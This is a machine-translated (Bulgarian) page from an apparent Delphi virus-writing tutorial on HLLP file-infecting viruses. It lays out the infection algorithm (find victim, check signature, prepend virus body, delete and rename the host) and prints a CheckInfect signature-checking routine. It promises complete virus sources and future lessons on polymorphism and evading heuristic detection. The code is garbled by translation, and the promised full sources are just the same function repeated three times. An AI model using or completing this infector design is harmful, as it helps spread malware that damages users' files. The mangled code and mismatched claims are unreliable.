Hllp вируса на Delphi - Вирусология - Delphi - членове Directory - вирусология, поглед от Делфи

HLLP вирус в Делфи

На първо място, ние прилагаме първия тип на вируса, неговата следния алгоритъм:
1) Намерете жертва
2) Проверка за замърсяване - ако са заразени - търси по - ако не се зарази.
3) Инфекция
. а) Създаване на временен файл
. б) Копирайте тялото virya временен файл
. в) Копирайте файла в края на времето, тялото на жертвата
. ж) Извадете жертва
. д) се преименува на името на жертвата
4) След като в началото на търсенето на жертвата
. а) Проверка на размер -
. б) Ако повече VirSize - след извличане на жертвата на временен файл
. в) Стартирайте жертва
5) завършва.

В общи линии, същите, както в Паскал. Ние започваме да се справят с нашествие на процедури за проверка на CheckInfect - процедурата е същата и за двата вида вируси, той sorets, безопасно спазва следното:
функционира CheckInfect (път низ.): Булева;
// тест замърсяване функция - да получите пътя на файла
// връща True - ако не замърсени с невярно - ако няма по
конст
SignSize = 64; // Размер подпис
SignPos = 666; // започне позиция подпис
тип
Буфер, = масив [1..SignSize] на знак; // буфер подпис
Var
F1. файл;
F2. файл;
FM. дума;
SignBuf. буфер,;
VictBuf. буфер,;
започвам
FM: = FileMode; // запази FileMode
FileMode: = 0; // Опцията файла - само за четене
AssignFile (F1, Paramstr (0)); // Ние асоциира с F1 чрез самостоятелно
AssignFile (F2, път); // Ние свързваме с F2 от страна на жертвата
Reset (F1,1); самата // Open
Reset (F2,1); // Отваряне на жертвата
търси (F1, SignPos); // премине подпис на позицията
търси (F2, SignPos); // Отиди на жертвата относно позицията на подпис
BlockRead (F1, SignBuf, SignSize); // Прочети подпис
BlockRead (F2, VictBuf, SignSize); // продължава в жертва на подписа
ако SignBuf<>VictBuf // Сравни подписите
След това Резултат: = вярно // Ако не е равно - вярно
останало Резултат: = фалшива; // Ако не са равни - фалшива
CloseFile (F1); // се затвори
CloseFile (F2); // затваря жертва
FileMode: = FM; // Възстановяване FileMode стойност като принос в процедурата
приключи;

Само на пръв поглед, необичайната аспект на тази процедура е - внос winexec от kernel32.dll функция, но ако прочетете урока 4, в която се описва как да импортирате функция от системата, защото тя няма да направи проблеми. По принцип, ако свържете прозорците модул на проекта, необходимостта от внос ще изчезне, но защо имаме нужда от допълнителен модул, че е време да се научат да се отърве от всичко ненужно. По принцип всяко разумно (в нашия случай теоретична на) вирус писателят винаги трябва да се мисли за размера на неговото творчество, въпреки че много се каже, че с днешните обеми на Харди - е без значение ... С една дума аз не искам от тях да се убедят, защото те са нула и не разбирам това, нито една от които ... О, нещо, което аз отделям, ние ще продължим разглеждането на този вид вирус.
. По-долу съм се осигури пълен източник на този вид вирус, като по този начин Колекция от съвместната ни работа добави ново постижение, а след това ние се залюлее без много кост peremoem втори тип HLLP virey:
програма VirusHLLP1_execom;
употреби
sysutils;

функционира CheckInfect (път низ.): Булева;
// тест замърсяване функция - да получите пътя на файла
// връща True - ако не замърсени с невярно - ако няма по
конст
SignSize = 64; // Размер подпис
SignPos = 666; // започне позиция подпис
тип
Буфер, = масив [1..SignSize] на знак; // буфер подпис
Var
F1. файл;
F2. файл;
FM. дума;
SignBuf. буфер,;
VictBuf. буфер,;
започвам
FM: = FileMode; // запази FileMode
FileMode: = 0; // Опцията файла - само за четене
AssignFile (F1, Paramstr (0)); // Ние асоциира с F1 чрез самостоятелно
AssignFile (F2, път); // Ние свързваме с F2 от страна на жертвата
Reset (F1,1); самата // Open
Reset (F2,1); // Отваряне на жертвата
търси (F1, SignPos); // премине подпис на позицията
търси (F2, SignPos); // Отиди на жертвата относно позицията на подпис
BlockRead (F1, SignBuf, SignSize); // Прочети подпис
BlockRead (F2, VictBuf, SignSize); // продължава в жертва на подписа
ако SignBuf<>VictBuf // Сравни подписите
След това Резултат: = вярно // Ако не е равно - вярно
останало Резултат: = фалшива; // Ако не са равни - фалшива
CloseFile (F1); // се затвори
CloseFile (F2); // затваря жертва
FileMode: = FM; // Възстановяване FileMode стойност като принос в процедурата
приключи;

Е, скъпи, на алармени nelyubiteli 273 ценни предмети на нашия Наказателен кодекс, изходния код изглежда? Ние продължаваме ...

Е, всичко е ясно. Сега отидете на втория натруфен днес, а именно пълен източник на втория тип HLLP вируса, надявам се да не са твърде претоварен информация днес? Желателно е да се разработи една статия не слуша, и мил, но само на практика, след всички неща, които аз съм тук разпнат, ще достигнат до съзнанието ви. Тук iskhodnichek:
програма VirusHLLP2_execom;
употреби
sysutils;

функционира CheckInfect (път низ.): Булева;
// тест замърсяване функция - да получите пътя на файла
// връща True - ако не замърсени с невярно - ако няма по
конст
SignSize = 64; // Размер подпис
SignPos = 666; // започне позиция подпис
тип
Буфер, = масив [1..SignSize] на знак; // буфер подпис
Var
F1. файл;
F2. файл;
FM. дума;
SignBuf. буфер,;
VictBuf. буфер,;
започвам
FM: = FileMode; // запази FileMode
FileMode: = 0; // Опцията файла - само за четене
AssignFile (F1, Paramstr (0)); // Ние асоциира с F1 чрез самостоятелно
AssignFile (F2, път); // Ние свързваме с F2 от страна на жертвата
Reset (F1,1); самата // Open
Reset (F2,1); // Отваряне на жертвата
търси (F1, SignPos); // премине подпис на позицията
търси (F2, SignPos); // Отиди на жертвата относно позицията на подпис
BlockRead (F1, SignBuf, SignSize); // Прочети подпис
BlockRead (F2, VictBuf, SignSize); // продължава в жертва на подписа
ако SignBuf<>VictBuf // Сравни подписите
След това Резултат: = вярно // Ако не е равно - вярно
останало Резултат: = фалшива; // Ако не са равни - фалшива
CloseFile (F1); // се затвори
CloseFile (F2); // затваря жертва
FileMode: = FM; // Възстановяване FileMode стойност като принос в процедурата
приключи;

Това трябва, тогава защо сме били. Мисля, че можете да се досетите следващия урок ние ще направим същото нещо на този и предишните уроци, само microDelphi. Каква е следващата стъпка? - да ти кажа! След това ще се научат да правят истински вируси, и е собственост ще се научи да разпространяват вируси извън техните папки, методи за стартиране, криптиране и саможертва, полиморфизъм, вампиризъм, евристични техники системи за управление с байпас и много, много повече. След това, ние ще изследва цялата гама на многостранна вирусна инфекция, асемблер, а след това отидете на същото проучване други видове заплахи. Както е добре, през целия този път, ние ще разберем ясно и не забравяйте, че всичко това е само за забавление, забавно и обучение, както и да се защитят, но не и да се унищожи, а не да бъде вандали - това е лошо.